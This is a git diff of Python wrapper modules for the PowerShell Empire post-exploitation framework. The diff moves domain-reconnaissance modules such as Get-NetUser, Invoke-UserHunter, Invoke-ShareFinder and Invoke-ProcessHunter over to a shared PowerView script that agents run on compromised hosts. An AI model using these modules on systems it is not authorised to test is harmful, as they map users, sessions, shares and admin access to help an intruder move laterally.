script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-Netview',
|
||||
'Name': 'Get-NetOU',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries the domain for all hosts, and retrieves open shares, '
|
||||
'sessions, and logged on users for each host. Part of PowerView.'),
|
||||
'Description': ('Gets a list of all current OUs in a domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -23,8 +22,7 @@ class Module:
|
|||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView',
|
||||
'https://github.com/mubix/netview'
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
|
@ -37,38 +35,33 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'OUName' : {
|
||||
'Description' : 'The OU name to query for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CheckShareAccess' : {
|
||||
'Description' : 'Switch. Only display found shares that the local user has access to.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Delay' : {
|
||||
'Description' : 'Delay between enumerating hosts, defaults to 0.',
|
||||
'GUID' : {
|
||||
'Description' : 'Only return OUs with the specified GUID in their gplink property.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Switch. Return full OU objects instead of just object names (the default).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -87,8 +80,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-Netview.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -99,9 +94,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-NetView "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -111,7 +107,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-Netview completed"'
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,113 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetUser',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Query information for a given user or users in the specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'Username filter string, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SPN' : {
|
||||
'Description' : 'Switch. Only return user objects with non-null service principal names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-ExploitableSystems',
|
||||
'Name': 'Invoke-MapDomainTrust',
|
||||
|
||||
'Author': ['Scott Sutherland (@_nullbind)'],
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries Active Directory for systems likely vulnerable to various '
|
||||
'Metasploit exploits.'),
|
||||
'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -23,7 +22,7 @@ class Module:
|
|||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1'
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
|
@ -36,13 +35,13 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Specific domain controller to query against.',
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchDN' : {
|
||||
'Description' : 'Distinguished Name Path to limit search to.',
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -51,7 +50,7 @@ class Module:
|
|||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -60,9 +59,11 @@ class Module:
|
|||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-ExploitableSystems.psm1"
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -73,9 +74,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-ExploitableSystems "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -84,8 +86,8 @@ class Module:
|
|||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | ft -autosize | Out-String | %{$_ + \"`n\"}"
|
||||
script += '| ConvertTo-Csv -NoTypeInformation | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,13 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-StealthUserHunter',
|
||||
'Name': 'Invoke-ProcessHunter',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Finds which machines users of a specified group are logged into by '
|
||||
'querying AD for servers likely to have high traffic (file servers, DCs, etc.) '
|
||||
'and enumerating sessions again each. Part of PowerView.'),
|
||||
'Description': ('Query the process lists of remote machines, searching for processes with a specific name or owned by a specific user.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -37,13 +35,28 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ProcessName' : {
|
||||
'Description' : 'The name of the process to hunt, or a comma separated list of names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Group name to query for target users.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'TargetServer' : {
|
||||
'Description' : 'Hunt for users who are effective local admins on a target server.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -52,28 +65,18 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Group to query for user names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserList' : {
|
||||
'Description' : 'List of usernames to search for.',
|
||||
'UserFilter' : {
|
||||
'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'StopOnSuccess' : {
|
||||
'Description' : 'Switch. Stop when a target user is found.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Description' : 'Switch. Stop hunting after finding after finding a target user.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CheckAccess' : {
|
||||
'Description' : 'Switch. Check if the current user has local admin access to found machines.',
|
||||
'NoPing' : {
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -82,13 +85,18 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowAll' : {
|
||||
'Description' : 'Switch. Show all result output.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -107,8 +115,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -119,9 +129,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-StealthUserHunter "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -131,9 +142,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}"
|
||||
|
||||
script += ';"`nInvoke-StealthUserHunter completed"'
|
||||
|
||||
return script
|
|
@ -9,7 +9,7 @@ class Module:
|
|||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Finds shares on machines in the domain.'),
|
||||
'Description': ('Finds shares on machines in the domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -35,38 +35,43 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CheckShareAccess' : {
|
||||
'Description' : 'Switch. Only display found shares that the local user has access to.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Delay' : {
|
||||
'Description' : 'Delay between enumerating hosts, defaults to 0.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -85,8 +90,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-ShareFinder.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -97,9 +104,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-ShareFinder "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -109,7 +117,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-ShareFinder completed"'
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -36,18 +36,23 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'GroupName' : {
|
||||
'Description' : 'Group name to query for target users.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'TargetServer' : {
|
||||
'Description' : 'Hunt for users who are effective local admins on a target server.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -56,23 +61,18 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Group to query for user names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserList' : {
|
||||
'Description' : 'List of usernames to search for.',
|
||||
'UserFilter' : {
|
||||
'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'StopOnSuccess' : {
|
||||
'Description' : 'Switch. Stop when a target user is found.',
|
||||
'Description' : 'Switch. Stop hunting after finding after finding a target user.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -86,13 +86,28 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowAll' : {
|
||||
'Description' : 'Switch. Show all result output.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowAll' : {
|
||||
'Description' : 'Switch. Return all user location results without filtering.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Stealth' : {
|
||||
'Description' : 'Switch. Only enumerate sessions from connonly used target servers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -111,8 +126,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -123,9 +140,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-UserHunter "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -135,9 +153,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}"
|
||||
|
||||
script += ';"`nInvoke-UserHunter completed"'
|
||||
|
||||
return script
|
Loading…
Reference in New Issue